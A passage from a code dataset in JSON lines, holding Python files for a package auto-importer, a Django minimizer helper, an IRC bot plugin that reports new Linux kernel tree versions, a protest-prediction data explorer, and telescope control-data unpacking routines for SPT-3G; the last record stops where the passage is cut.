+{"seq_id":"356279427","text":"'''\nCreated on Dec 9, 2015\nCopyright (c) 2015\nHarvard Informatics and Scientific Applications\nAll rights reserved.\n\n@author: Aaron Kitzmiller <aaron_kitzmiller@harvard.edu>\n'''\n\ndef getClassFromName(classname):\n    '''\n    Utility that will return the class object for a full qualified \n    classname\n    '''\n    try:\n        parts = classname.split('.')\n        module = \".\".join(parts[:-1])\n        m = __import__( module )\n        for comp in parts[1:]:\n            m = getattr(m, comp)            \n        return m\n    except ImportError:\n        return None \n\nclass UserException(Exception):\n    '''\n    I can actually get a message from this exception\n    '''\n    def __init__(self,message):\n        super(UserException,self).__init__(message)\n        self.user_msg = message        \n        \n        \n__all__ = []\n\nimport pkgutil\nimport inspect\n\nfor loader, name, is_pkg in pkgutil.walk_packages(__path__):\n    module = loader.find_module(name).load_module(name)\n\n    for name, value in inspect.getmembers(module):\n        if name.startswith('__'):\n            continue\n\n        globals()[name] = value\n        __all__.append(name)\n","sub_path":"iggyflow/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"188334525","text":"import os\nfrom djangominimizer import settings\n\ndef get_minimizer_list(file_list, timestamp, ext):\n    if not settings.MINIMIZER_DEBUG:\n        file_min_list = []\n\n        for file_orig in file_list:\n            filename = os.path.splitext(file_orig)[0]\n            file_min = '%s-%s.%s' % (filename, timestamp, ext)\n            file_min_list.append(file_min)\n\n        return file_min_list\n\n    return file_list\n","sub_path":"djangominimizer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"519521972","text":"# coding=utf-8\n# Copyright 2017 Matt Hart\n# Licensed under the Eiffel Forum License 2\n\nimport requests\nimport subprocess\nimport sys\n\nfrom sopel.config.types import StaticSection, ListAttribute\nfrom sopel.module import interval\nfrom sopel.logger import get_logger\n\nLOG = get_logger(__name__)\n\n\nclass GitTagSection(StaticSection):\n    treelist = ListAttribute(\"treelist\")\n    allowed_channels = ListAttribute(\"allowed_channels\")\n    ignore_branches = ListAttribute(\"ignore_branches\")\n\n\ndef configure(config):\n    config.define_section(\"git_tag\", GitTagSection)\n    config.git_tag.configure_setting(\n        \"treelist\",\n        \"Enter your list of trees to monitor ([stable#linux-4.18.y, mainline#master])\",\n    )\n\n\ndef setup(bot):\n    bot.config.define_section(\"git_tag\", GitTagSection)\n    if not bot.config.git_tag.treelist:\n        return\n\n\ndef bot_say(bot, text):\n    text = \"[GIT] {}\".format(text)\n    LOG.info(text)\n    for channel in bot.channels:\n        if channel in bot.config.git_tag.allowed_channels:\n            bot.say(text, channel)\n\n\ndef get_git_tag(text):\n    for line in text:\n        if line.startswith(\"VERSION\"):\n            version = line.split(\"=\")[1].strip()\n        if line.startswith(\"PATCHLEVEL\"):\n            patchlevel = line.split(\"=\")[1].strip()\n        if line.startswith(\"SUBLEVEL\"):\n            sublevel = line.split(\"=\")[1].strip()\n        if line.startswith(\"EXTRAVERSION\"):\n            extraversion = line.split(\"=\")[1].strip()\n    return \"v{}.{}.{}{}\".format(version, patchlevel, sublevel, extraversion)\n\n\ndef update_url(bot, url):\n    LOG.info(\"Updating for %s\" % url)\n    ls_data = subprocess.check_output([\"git\", \"ls-remote\", url, \"refs/heads/*\"])\n    ls_data = ls_data.decode(\"utf-8\")\n    ls_data = ls_data.strip()\n\n    for tree in bot.config.git_tag.treelist:\n        t_name, t_url = tree.split(\"#\")\n        if url == t_url:\n            name = t_name\n            break\n\n    for head_data in ls_data.split(\"\\n\"):\n        head_data = head_data.split(\"\\t\")\n        commit = head_data[0]\n        branch = head_data[1]\n        branch = branch.replace(\"refs/heads/\", \"\")\n        treebranch = \"{}#{}\".format(name, branch)\n\n        if treebranch in bot.config.git_tag.ignore_branches:\n            continue\n\n        makefile_url = get_makefile_url(url, commit)\n\n        http = requests.get(makefile_url)\n        if http.status_code == 302 or http.status_code == 404:\n            continue\n        toplines = http.content.decode(\"utf-8\").split(\"\\n\")\n        git_tag = get_git_tag(toplines[:6])\n        git_describe = \"{} ({})\".format(git_tag, commit)\n        if treebranch in bot.memory[\"git_tag\"]:\n            if bot.memory[\"git_tag\"][treebranch] != git_describe:\n                bot_say(bot, \"{} has new version {}\".format(treebranch, git_describe))\n                bot.memory[\"git_tag\"][treebranch] = git_describe\n            else:\n                LOG.info(\n                    \"{} has not changed tag from {}\".format(treebranch, git_describe)\n                )\n        else:\n            LOG.info(\n                \"no tag record for {}, setting to {}\".format(treebranch, git_describe)\n            )\n            bot.memory[\"git_tag\"][treebranch] = git_describe\n\n\ndef get_makefile_url(url, commit):\n    if \"github.com\" in url:\n        github_user, github_project = url.split(\"/\")[3:5]\n        makefile_url = \"https://raw.githubusercontent.com/{}/{}/{}/Makefile\".format(\n            github_user, github_project, commit\n        )\n    else:\n        makefile_url = \"{}/plain/Makefile?h={}\".format(url, commit)\n\n    return makefile_url\n\n\n@interval(120)\ndef xmlrpc_update(bot):\n    if \"git_tag\" not in bot.memory:\n        bot.memory[\"git_tag\"] = {}\n    if \"manifest_fingerprints\" not in bot.memory:\n        bot.memory[\"manifest_fingerprints\"] = {}\n\n    # Fetch new manifest from git.kernel.org\n    manifest_ret = None\n    try:\n        LOG.info(\"Fetching kernel.org manifest\")\n        manifest_ret = subprocess.call(\n            [\n                \"/usr/bin/wget\",\n                \"-qN\",\n                \"-P\",\n                \"/tmp\",\n                \"https://git.kernel.org/manifest.js.gz\",\n            ]\n        )\n    except (FileNotFoundError, CalledProcessError) as e:\n        LOG.info(\"Error calling on wget. Can't get manifest.js.gz.\")\n\n    # Get the fingerprint for\n    for tree in bot.config.git_tag.treelist:\n        name, url = tree.split(\"#\")\n        if \"https://git.kernel.org/\" in url:\n            # Did we fetch the manifest?\n            if manifest_ret != 0:\n                LOG.info(\"Manifest ret != 0\")\n                continue\n            key = url.replace(\"https://git.kernel.org\", \"\")\n            cmd = \"\"\"zcat /tmp/manifest.js.gz | jq -r '{\"%s\"}[] | .fingerprint'\"\"\" % key\n            fingerprint = subprocess.check_output(cmd, shell=True).decode().strip()\n            LOG.info(\"Fingerprint for %s [%s]\" % (name, fingerprint))\n            if url in bot.memory[\"manifest_fingerprints\"]:\n                LOG.info(\n                    \"Fingerprints in memory for %s: %d\"\n                    % (name, len(bot.memory[\"manifest_fingerprints\"]))\n                )\n                if bot.memory[\"manifest_fingerprints\"][url] != fingerprint:\n                    LOG.info(\n                        \"Fingerprint changed for %s: %s (was %s)\"\n                        % (url, fingerprint, bot.memory[\"manifest_fingerprints\"][url])\n                    )\n                    update_url(bot, url)\n                    bot.memory[\"manifest_fingerprints\"][url] = fingerprint\n            else:\n                LOG.info(\"New fingerprint for %s: %s\" % (url, fingerprint))\n                bot.memory[\"manifest_fingerprints\"][url] = fingerprint\n                update_url(bot, url)\n        else:\n            LOG.info(\"Looking at non-git.kernel.org tree\")\n            update_url(bot, url)\n","sub_path":"git_tag.py","file_name":"git_tag.py","file_ext":"py","file_size_in_byte":5806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"453203402","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\nimport json\nimport pandas as pd\nfrom collections import defaultdict\n\n__author__ = \"Tozammel Hossain\"\n__email__ = \"tozammel@isi.edu\"\n\n\ndef show_an_instance(instance):\n    # print(\"Type =\", type(instance))\n    # print(\"Features =\\n\", instance.keys())\n    # 'eventType', 'id', 'protest' (T/F: class var), 'link',\n    # 'location' (list), 'words' (list),\n    # 'date', 'doc2vec' (list), 'population'\n    # print(type(instance['doc2vec']))\n\n    print(\"Features:\")\n    print('protest =', instance['protest'])\n    print('eventType =', instance['eventType'])\n    print('id =', instance['id'])\n    print('date =', instance['date'])\n    print('link =', instance['link'])\n    print('population =', instance['population'])\n    print('location =', instance['location'])\n    print(len(instance['words']))\n    print(len(instance['doc2vec']))\n    print(\"\")\n\n\ndef explore_sample_data(filepath):\n    from collections import defaultdict\n\n    with open(filepath) as fp:\n        lines = fp.read().splitlines()\n        print(\"#lines =\", len(lines))\n\n        countries = defaultdict(int)\n        class_var = defaultdict(int)\n        dates = list()\n\n        for line in lines:\n            line = line.strip()\n            # print(line)\n            instance = json.loads(line)\n            country = instance['location'][0]\n            countries[country] += 1\n            # show_an_instance(instance)\n            y = instance['protest']\n            class_var[y] += 1\n            dates.append(pd.to_datetime(instance['time']).date())\n\n        print(countries)\n        print(sum(countries.values()))\n        print(class_var)\n        print(sum(class_var.values()))\n\n\ndef read_lines_as_json(filepath):\n    json_list = list()\n    with open(filepath) as fp:\n        lines = fp.read().splitlines()\n        for line in lines:\n            line = line.strip()\n            # print(line)\n            instance = json.loads(line)\n            json_list.append(instance)\n    return json_list\n\n\ndef create_daily_bags():\n    print(\"Creating daily bags...\")\n\n    filepath = \"sample-data/news_doc2vec_ar.json\"\n    json_list = read_lines_as_json(filepath)\n    daily_bags = defaultdict(list)\n\n    for json_obj in json_list:\n        # print(json_obj['date'])\n        date = pd.to_datetime(json_obj['date']).date()\n        daily_bags[date].append(json_obj)\n\n    print(daily_bags.keys())\n    daily_bags_size = {key: len([key]) for key in daily_bags.keys()}\n    ts_bags = pd.Series(daily_bags_size)\n    print(\"Start date =\", ts_bags.index.min())\n    print(\"End date =\", ts_bags.index.max())\n    print(\"Min num docs per day =\", ts_bags.min())\n    print(\"Max num docs per day =\", ts_bags.max())\n    print(ts_bags.head())\n    print(ts_bags.tail())\n\n\ndef analyze_sample_traindata():\n    # sample training instance\n    filepath = \"sample-data/nMIL_lt4_ar/top6cities_realtime_TrainData_2weekshistory.json\"\n    json_list = read_lines_as_json(filepath)\n    print(\"#entries =\", len(json_list))\n\n    pos = 0\n    neg = 0\n    dates = list()\n    for json_obj in json_list:\n        # print(json_obj.keys())\n        # print(json_obj['time'])\n        dates.append(json_obj['time'])\n        if json_obj['protest']:\n            pos += 1\n            print(\"\\tpos, #keys =\", json_obj.keys())\n            # print(\"\\tevent type =\", json_obj['eventType'])\n            # print(\"\\tpopulation =\", json_obj['population'])\n        else:\n            neg += 1\n            print(\"neg, #keys =\", json_obj.keys())\n\n    print(\"#pos =\", pos)\n    print(\"#neg =\", neg)\n\n    df = pd.DataFrame(dates, columns=['date'])\n    ts = df.groupby('date').size()\n    print(\"Start date =\", ts.index.min(), \"End date =\", ts.index.max())\n    print(\"Min val =\", ts.min(), \"Max val =\", ts.max())\n\n\ndef analyze_sample_news_doc2vec():\n    # doc2vec representation\n    filepath = \"sample-data/news_doc2vec_ar.json\"\n    json_list = read_lines_as_json(filepath)\n\n    pos = 0\n    neg = 0\n    for json_obj in json_list[0:10]:\n        print(json_obj.keys())\n        if json_obj['protest']:\n            pos += 1\n            print(\"\\tpos, #keys =\", json_obj.keys())\n            print(\"\\tevent type =\", json_obj['eventType'])\n            print(\"\\tpopulation =\", json_obj['population'])\n        else:\n            neg += 1\n            print(\"neg, #keys =\", json_obj.keys())\n\n    print(\"#pos =\", pos)\n    print(\"#neg =\", neg)\n\n\ndef main(argv):\n    analyze_sample_traindata()\n    # analyze_sample_news_doc2vec()\n    # create_daily_bags()\n\n\ndef main2(argv):\n    filepath = \"sample-data/news_doc2vec_ar.json\"\n    \"\"\"\n    #rows = 10,384\n    countries = {'Argentina': 10384}\n    process_happened = {False: 9465, True: 919}\n    \"\"\"\n\n    from collections import defaultdict\n    countries = defaultdict(int)\n    class_var = defaultdict(int)\n    dates = list()\n\n    with open(filepath) as fp:\n        lines = fp.read().splitlines()\n        print(\"#lines =\", len(lines))\n\n        for line in lines:\n            line = line.strip()\n            # print(line)\n            instance = json.loads(line)\n            country = instance['location'][0]\n            countries[country] += 1\n            # show_an_instance(instance)\n            y = instance['protest']\n            class_var[y] += 1\n            dates.append(pd.to_datetime(instance['date']).date())\n\n    print(countries)\n    print(sum(countries.values()))\n    print(class_var)\n    print(sum(class_var.values()))\n\n    print(type(dates[0]))\n    df = pd.DataFrame(dates, columns=[\"date\"])\n    ts = df.groupby(\"date\").size()\n\n    print(ts.index.min())\n    print(ts.index.max())\n    print(ts.min())\n    print(ts.max())\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    sys.exit(main(sys.argv))\n","sub_path":"sample_data.py","file_name":"sample_data.py","file_ext":"py","file_size_in_byte":5724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"640242127","text":"import numpy, copy\nfrom spt3g import core\nfrom spt3g.gcp import ACUStatus, ACUState, TrackerStatus, TrackerState, TrackerPointing, CalFile\n\n@core.indexmod\ndef UnitValue(caldict_entry):\n    '''Turn unit name into floating point unit value'''\n\n    try: \n        uname = caldict_entry['UnitName']\n        if uname and uname != 'None':\n            try:\n                if '/' in uname:\n                    unames = list(filter(None,uname.split('/')))\n                    uvalue1 = getattr(core.G3Units, \n                                      list(filter(None,unames[0].split(' ')))[0])\n                    uvalue2 = getattr(core.G3Units, \n                                      list(filter(None,unames[1].split(' ')))[0])\n                    uvalue = uvalue1 / uvalue2\n                else:\n                    uvalue = getattr(core.G3Units, uname)\n            except AttributeError:\n                uvalue = 1.\n                core.log_warn('No entry in G3Units for ' + uname + '. Setting UnitValue to 1.0\\n')\n        else:\n            uvalue = 1.\n    except KeyError:\n        uvalue = 1.\n\n    return uvalue\n\n\n@core.indexmod\ndef CalibrateFrame(f, calibration_file=None):\n    '''Apply gain / offset / units from G3 cal file'''\n    \n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    try:\n        if f['Calibrated'] == True:\n            print('Already calibrated!\\n')\n            return\n    except KeyError:\n        f['Calibrated'] = True\n\n    cf = CalFile.CalFileReader()\n    cd = cf.readCalFile(calibration_file)\n\n    for board in f.keys():\n        if board == 'Calibrated':\n            continue\n        cboard = copy.deepcopy(f[board])\n        for rmap in cboard.keys():\n            for reg in cboard[rmap].keys():\n                try: \n                    rcd = cd[board][rmap][reg]\n                except KeyError:\n                    continue\n                rsize = numpy.size(cboard[rmap][reg])\n                if rsize > 1:\n                    rshape = numpy.shape(cboard[rmap][reg])\n                    if len(rshape) > 1:\n                        for i in range(rshape[0]):\n                            try:\n                                rcdi = rcd[i]\n                            except KeyError:\n                                rcdi = rcd\n                            uvalue = UnitValue(rcdi)\n                            datatemp = numpy.asarray(cboard[rmap][reg][i])\n                            datatemp2 = datatemp.copy()\n                            # if a register has units, it can't be an\n                            # int anymore.\n                            # well, actually, it can't be an int if\n                            # we're adding floats to it or multiplying\n                            # it by floats either, so convert\n                            # everything that has an entry in the cal\n                            # file to float/double.\n                            datatemp2 = numpy.asarray(datatemp2,dtype='float64')\n                            thisdtype = datatemp2.dtype\n                            datatemp2 += \\\n                                numpy.array(rcdi['Offset'],dtype=thisdtype)\n                            datatemp2 *= numpy.array(uvalue / \n                                                     rcdi['ReciprocalFactor'],\n                                                     dtype=thisdtype)\n                            if type(cboard[rmap][reg][i]) \\\n                                    is core.G3VectorInt:\n                                regitemp = core.G3VectorDouble(datatemp2)\n                            elif type(cboard[rmap][reg][i]) \\\n                                    is core.G3MapInt:\n                                regitemp = core.G3MapDouble(datatemp2)\n                            elif type(cboard[rmap][reg][i]) \\\n                                    is core.G3Int:\n                                regitemp = core.G3Double(datatemp2)\n                            else:\n                                regitemp = \\\n                                    (type(cboard[rmap][reg][i]))(datatemp2)\n                            cboard[rmap][reg][i] = regitemp\n                    else:\n                        try:\n                            rcdi = rcd[0]\n                        except KeyError:\n                            rcdi = rcd\n                        uvalue = UnitValue(rcdi)\n                        datatemp = numpy.asarray(cboard[rmap][reg])\n                        datatemp2 = datatemp.copy()\n                        # if a register has units, it can't be an\n                        # int anymore. well, actually (see above)...\n                        datatemp2 = numpy.asarray(datatemp2,dtype='float64')\n                        thisdtype = datatemp2.dtype\n                        datatemp2 += \\\n                            numpy.array(rcdi['Offset'],dtype=thisdtype)\n                        datatemp2 *= numpy.array(uvalue / rcdi['ReciprocalFactor'],dtype=thisdtype)\n                        if type(cboard[rmap][reg]) \\\n                                is core.G3VectorInt:\n                            regtemp = core.G3VectorDouble(datatemp2)\n                        elif type(cboard[rmap][reg]) \\\n                                is core.G3MapInt:\n                            regtemp = core.G3MapDouble(datatemp2)\n                        elif type(cboard[rmap][reg]) \\\n                                is core.G3Int:\n                            regtemp = core.G3Double(datatemp2)\n                        else:\n                            regtemp = \\\n                                (type(cboard[rmap][reg]))(datatemp2)\n                        cboard[rmap][reg] = regtemp\n                else:\n                    try:\n                        rcdi = rcd[0]\n                    except KeyError:\n                        rcdi = rcd\n                    uvalue = UnitValue(rcdi)\n                    datatemp = cboard[rmap][reg].value\n                    datatemp2 = datatemp\n                    # if a register has units, it can't be an\n                    # int anymore. well, actually (see above)...\n                    datatemp2 = numpy.float(datatemp2)\n                    datatemp2 = datatemp2 + rcdi['Offset']\n                    datatemp2 *= uvalue / rcdi['ReciprocalFactor']\n                    if type(cboard[rmap][reg]) \\\n                            is core.G3VectorInt:\n                        regtemp = core.G3VectorDouble(datatemp2)\n                    elif type(cboard[rmap][reg]) \\\n                            is core.G3MapInt:\n                        regtemp = core.G3MapDouble(datatemp2)\n                    elif type(cboard[rmap][reg]) \\\n                            is core.G3Int:\n                        regtemp = core.G3Double(datatemp2)\n                    else:\n                        regtemp = \\\n                            (type(cboard[rmap][reg]))(datatemp2)\n                    cboard[rmap][reg] = regtemp\n        del f[board]\n        f[board] = cboard\n\n@core.indexmod\ndef UnpackACUData(f):\n    '''Extracts ACU status information to ACUStatus key in frame'''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    a = ACUStatus()\n    a.time = f['antenna0']['frame']['utc']\n    a.az_pos = f['antenna0']['acu']['az_pos'].value\n    a.el_pos = f['antenna0']['acu']['el_pos'].value\n    a.az_rate = f['antenna0']['acu']['az_rate'].value\n    a.el_rate = f['antenna0']['acu']['el_rate'].value\n\n    # 'new_*' registers not actually filled by GCP; ignore them\n\n    a.px_checksum_error_count = f['antenna0']['acu']['px_checksum_error_count'].value\n    a.px_resync_count = f['antenna0']['acu']['px_resync_count'].value\n    a.px_resync_timeout_count = f['antenna0']['acu']['px_resync_timeout_count'].value\n    a.px_resyncing = f['antenna0']['acu']['px_resyncing'].value\n    a.px_timeout_count = f['antenna0']['acu']['px_timeout_count'].value\n    a.restart_count = f['antenna0']['acu']['restart_count'].value\n\n    a.state = ACUState(f['antenna0']['acu']['state'].value)\n    a.status = f['antenna0']['acu']['acu_status'].value\n    try:\n        a.error = f['antenna0']['acu']['acu_error'].value\n    except KeyError:\n        # This register was some time in early 2018.  In order to read\n        # older data, just set the error code to 0.\n        a.error = 0\n\n    f['ACUStatus'] = a\n\n@core.indexmod\ndef UnpackTrackerMinimal(f, rewrite_source_from_feature_bits=True):\n    '''\n    Construct SourceName and ObservationId keys from frame.\n\n    If rewrite_source_from_feature_bits is True (the default), will try to\n    rewrite source names if DecryptFeatureBit() has been run and either\n    \"elnod\", \"calibrator\", or \"noise\" is present in the feature bit list\n    to that value.\n    '''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    # Grab the GCP source name. If it is \"current\", fill in something more\n    # helpful from the feature bits if possible.\n    source = f['antenna0']['tracker']['source'].value\n    if rewrite_source_from_feature_bits and 'GCPFeatureBits' in f:\n        if 'elnod' in f['GCPFeatureBits']:\n            source = 'elnod'\n        if 'calibrator' in f['GCPFeatureBits']:\n            source = 'calibrator'\n        if 'noise' in f['GCPFeatureBits']:\n            source = 'noise'\n        if 'debug' in f['GCPFeatureBits']:\n            source = 'debug-forced-scanify'\n        if 'every_pixel_on_src' in f['GCPFeatureBits']:\n            source = source + '-pixelraster' # NB: Do NOT use in-place +=\n    f['SourceName'] = source\n\n    # And observation ID, if present\n    if 'obs_id' in f['antenna0']['tracker']:\n        f['ObservationID'] = f['antenna0']['tracker']['obs_id']\n\n@core.indexmod\ndef UnpackTrackerData(f, rewrite_source_from_feature_bits=True):\n    '''\n    Extracts tracker status information to frame into the TrackerStatus key,\n    along with the observation processing handled by UnpackTrackerMinimal.\n\n    If rewrite_source_from_feature_bits is True (the default), will try to\n    rewrite source names if DecryptFeatureBit() has been run and either\n    \"elnod\", \"calibrator\", or \"noise\" is present in the feature bit list\n    to that value.\n    '''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    UnpackTrackerMinimal(f, rewrite_source_from_feature_bits)\n\n    t = TrackerStatus()\n    # List comprehensions are due to funny business with G3VectorFrameObject\n    t.time = [tm for tm in f['antenna0']['tracker']['utc'][0]]\n\n    # Measured values\n    t.az_pos = numpy.asarray(f['antenna0']['tracker']['actual'][0])\n    t.el_pos = numpy.asarray(f['antenna0']['tracker']['actual'][1])\n    # XXX units for rates seem to be wrong. I think this is in encoder counts\n    t.az_rate = numpy.asarray(f['antenna0']['tracker']['actual_rates'][0],\n                              dtype = float)\n    t.el_rate = numpy.asarray(f['antenna0']['tracker']['actual_rates'][1],\n                              dtype = float)\n    \n    # Expected values\n    t.az_command = numpy.asarray(f['antenna0']['tracker']['expected'][0])\n    t.el_command = numpy.asarray(f['antenna0']['tracker']['expected'][1])\n    t.az_rate_command = numpy.asarray(f['antenna0']['tracker']['expected_rates'][0], dtype = float)\n    t.el_rate_command = numpy.asarray(f['antenna0']['tracker']['expected_rates'][1], dtype = float)\n\n    # Status params\n    if isinstance(f['antenna0']['tracker']['state'][0], core.G3String):\n        # If state is all zero (LACKING), for example due to an ACU glitch,\n        # the ARC reader may decide that the 8-bit array field is a string.\n        # Treat it as one.\n        t.state = [TrackerState(0) for s in f['antenna0']['tracker']['inControl'][0]]\n    else:\n        t.state = [TrackerState(s) for s in f['antenna0']['tracker']['state'][0]]\n    t.acu_seq = f['antenna0']['tracker']['acu_seq'][0]\n    t.in_control = core.BoolVector(f['antenna0']['tracker']['inControl'][0])\n    t.in_control_int = core.IntVector(f['antenna0']['tracker']['inControl'][0])\n    t.scan_flag = core.BoolVector(f['antenna0']['tracker']['scan_flag'][0])\n    \n    t.lst = numpy.asarray(f['antenna0']['tracker']['lst'][0], dtype=float)\n\n    t.source_acquired = numpy.asarray(f['antenna0']['tracker']['off_source'][0])\n    t.source_acquired_threshold = numpy.asarray(f['antenna0']['tracker']['source_acquired_threshold'])\n    t.tracker_mode = numpy.asarray(f['antenna0']['tracker']['mode'][0])\n    t.tracker_lacking = numpy.asarray(f['antenna0']['tracker']['lacking'][0])\n    t.time_status = numpy.asarray(f['antenna0']['tracker']['time_status'][0])\n    try:\n        t.schedule_name = numpy.asarray(f['antenna0']['tracker']['schedule_name'].value)\n    except AttributeError:\n        t.schedule_name = numpy.asarray(''.join([chr(x) for x in f['antenna0']['tracker']['schedule_name']]))\n\n    f['TrackerStatus'] = t\n\n\n@core.indexmod\ndef UnpackTrackerPointingData(f):\n    '''\n    Extracts tracker registers relevant to online and offline pointing.\n    Calibration values (offsets and multiplicative constants) are from\n    gcp/control/conf/spt/cal.\n    '''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    t = TrackerPointing()\n    t.time = [tm for tm in f['antenna0']['tracker']['utc'][0]]\n    t.scu_temp = numpy.asarray(f['antenna0']['scu']['temp'])\n    t.features = core.IntVector([f['array']['frame']['features'].value])\n\n    t.encoder_off_x = numpy.asarray([f['antenna0']['tracker']['encoder_off'][0]], dtype=numpy.double)\n    t.encoder_off_y = numpy.asarray([f['antenna0']['tracker']['encoder_off'][1]], dtype=numpy.double)\n    \n    t.low_limit_az = numpy.asarray([f['antenna0']['tracker']['az_limits'][0]], dtype=numpy.double)\n    t.high_limit_az = numpy.asarray([f['antenna0']['tracker']['az_limits'][1]], dtype=numpy.double)\n    t.low_limit_el = numpy.asarray([f['antenna0']['tracker']['el_limits'][0]], dtype=numpy.double)\n    t.high_limit_el = numpy.asarray([f['antenna0']['tracker']['el_limits'][1]], dtype=numpy.double)\n\n    t.tilts_x = numpy.asarray(f['antenna0']['tracker']['tilt_xy_avg'][0], dtype=numpy.double)\n    t.tilts_y = numpy.asarray(f['antenna0']['tracker']['tilt_xy_avg'][1], dtype=numpy.double)\n    t.refraction = numpy.asarray(f['antenna0']['tracker']['refraction'][2], dtype=numpy.double)\n\n    t.horiz_mount_x = numpy.asarray(f['antenna0']['tracker']['horiz_mount'][0])\n    t.horiz_mount_y = numpy.asarray(f['antenna0']['tracker']['horiz_mount'][1])\n    t.horiz_off_x = numpy.asarray(f['antenna0']['tracker']['horiz_off'][0])\n    t.horiz_off_y = numpy.asarray(f['antenna0']['tracker']['horiz_off'][1])\n\n    t.scan_off_x = numpy.asarray(f['antenna0']['tracker']['scan_off'][0])\n    t.scan_off_y = numpy.asarray(f['antenna0']['tracker']['scan_off'][1])\n    t.sky_off_x = numpy.asarray(f['antenna0']['tracker']['sky_xy_off'][0])\n    t.sky_off_y = numpy.asarray(f['antenna0']['tracker']['sky_xy_off'][1])\n    t.equat_off_x = numpy.asarray(f['antenna0']['tracker']['equat_off'][0])\n    t.equat_off_y = numpy.asarray(f['antenna0']['tracker']['equat_off'][1])\n\n    t.equat_geoc_ra = numpy.asarray(f['antenna0']['tracker']['equat_geoc'][0])\n    t.equat_geoc_dec = numpy.asarray(f['antenna0']['tracker']['equat_geoc'][1])\n    t.horiz_topo_az = numpy.asarray(f['antenna0']['tracker']['horiz_topo'][0])\n    t.horiz_topo_el = numpy.asarray(f['antenna0']['tracker']['horiz_topo'][1])\n\n    t.error_az = numpy.asarray(f['antenna0']['tracker']['errors'][0])\n    t.error_el = numpy.asarray(f['antenna0']['tracker']['errors'][1])\n\n    t.linsens_avg_l1 = numpy.asarray(f['antenna0']['tracker']['linear_sensor_avg'][0])\n    t.linsens_avg_l2 = numpy.asarray(f['antenna0']['tracker']['linear_sensor_avg'][1])\n    t.linsens_avg_r1 = numpy.asarray(f['antenna0']['tracker']['linear_sensor_avg'][2])\n    t.linsens_avg_r2 = numpy.asarray(f['antenna0']['tracker']['linear_sensor_avg'][3])\n    \n    t.telescope_temp = numpy.asarray([f['array']['weather']['airTemperature'].value])\n    t.telescope_pressure = numpy.asarray([f['array']['weather']['pressure'].value])\n\n    f['TrackerPointing'] = t\n\n    p = core.G3MapVectorDouble()\n    p['tilts'] = numpy.asarray(f['antenna0']['tracker']['tilts'], dtype=numpy.double)\n    p['flexure'] = numpy.asarray(f['antenna0']['tracker']['flexure'], dtype=numpy.double)\n    p['fixedCollimation'] = numpy.asarray(f['antenna0']['tracker']['fixedCollimation'], dtype=numpy.double)\n    p['time'] = numpy.asarray(t.time, dtype=numpy.double)\n\n    f['OnlinePointingModel'] = p\n\n@core.indexmod\ndef DecryptFeatureBit(f):\n    '''\n    Unpacks the GCP feature flags\n    '''\n\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n\n    flag_array = core.G3VectorString()\n    feature_bit = f['array']['frame']['features'].value\n\n    flags = ['analyze', 'source_scan', 'cabin_shutter', 'elnod', 'pol_cal',\n             'calibrator', 'every_pixel_on_src', 'skydip', 'optical', 'noise',\n             'trail', 'el_scan', None, None, None, None, None, None, None,\n             'debug']\n             # Sorry... NDH\n\n    for i in enumerate(flags):\n        if feature_bit & (1 << i[0]):\n            if i[1] is None:\n                core.log_error('Got an unused feature bit: {:d}'.format(i[0]))\n            flag_array.append(i[1])\n\n    f['GCPFeatureBits'] = flag_array\n\n@core.indexmod\ndef AddBenchData(f):\n    '''\n    Add the optical bench positions to the frame.\n    '''\n    if f.type != core.G3FrameType.GcpSlow:\n        return\n    bench_axes = ['y1', 'y2', 'y3', 'x4', 'x5', 'z6']\n\n    benchcom = core.G3TimestreamMap()\n    benchpos = core.G3TimestreamMap()\n    benchzero = core.G3TimestreamMap()\n    benchoff = core.G3TimestreamMap()\n    bencherr = core.G3TimestreamMap()\n    bench_info = core.G3TimestreamMap()\n    for i, key in enumerate(bench_axes):\n        # As of 2017-08-03, SCU time is not trustworthy\n        # start = f['antenna0']['scu']['benchSampleTime'][0][0]\n        # stop = f['antenna0']['scu']['benchSampleTime'][0][-1]\n        # For now, do this bit of evil\n        start = f['antenna0']['tracker']['utc'][0][0]\n        stop = f['antenna0']['tracker']['utc'][0][-1]\n\n        benchcom[key] = core.G3Timestream(f['antenna0']['scu']['benchExpected'][i])\n        benchcom[key].start = start\n        benchcom[key].stop = stop\n\n        benchpos[key] = core.G3Timestream(f['antenna0']['scu']['benchActual'][i])\n        benchpos[key].start = start\n        benchpos[key].stop = stop\n\n        benchzero[key] = core.G3Timestream(f['antenna0']['scu']['benchZeros'][i])\n        benchzero[key].start = start\n        benchzero[key].stop = stop\n\n        benchoff[key] = core.G3Timestream(f['antenna0']['scu']['benchOffsets'][i])\n        benchoff[key].start = start\n        benchoff[key].stop = stop\n\n        bencherr[key] = core.G3Timestream(f['antenna0']['scu']['benchErrors'][i])\n        bencherr[key].start = start\n        bencherr[key].stop = stop\n\n    info_items = ['benchFocus', 'benchDeadBand', 'benchAcquiredThreshold',\n                  'benchPrimaryState', 'benchSecondaryState', \n                  'benchFault', 'timeLocked']\n    bench_info = core.G3TimestreamMap()\n    for i, key in enumerate(info_items):\n        start = f['antenna0']['tracker']['utc'][0][0]\n        stop = f['antenna0']['tracker']['utc'][0][-1]\n\n        bench_info[key] = core.G3Timestream(f['antenna0']['scu'][key][0])\n        bench_info[key].start = start\n        bench_info[key].stop = stop\n\n    f['BenchPosition'] = benchpos\n    f['BenchCommandedPosition'] = benchcom\n    f['BenchZeros'] = benchzero\n    f['BenchOffsets'] = benchoff\n    f['BenchErrors'] = bencherr\n    f['BenchInfo'] = bench_info\n    f['BenchSampleTime'] = 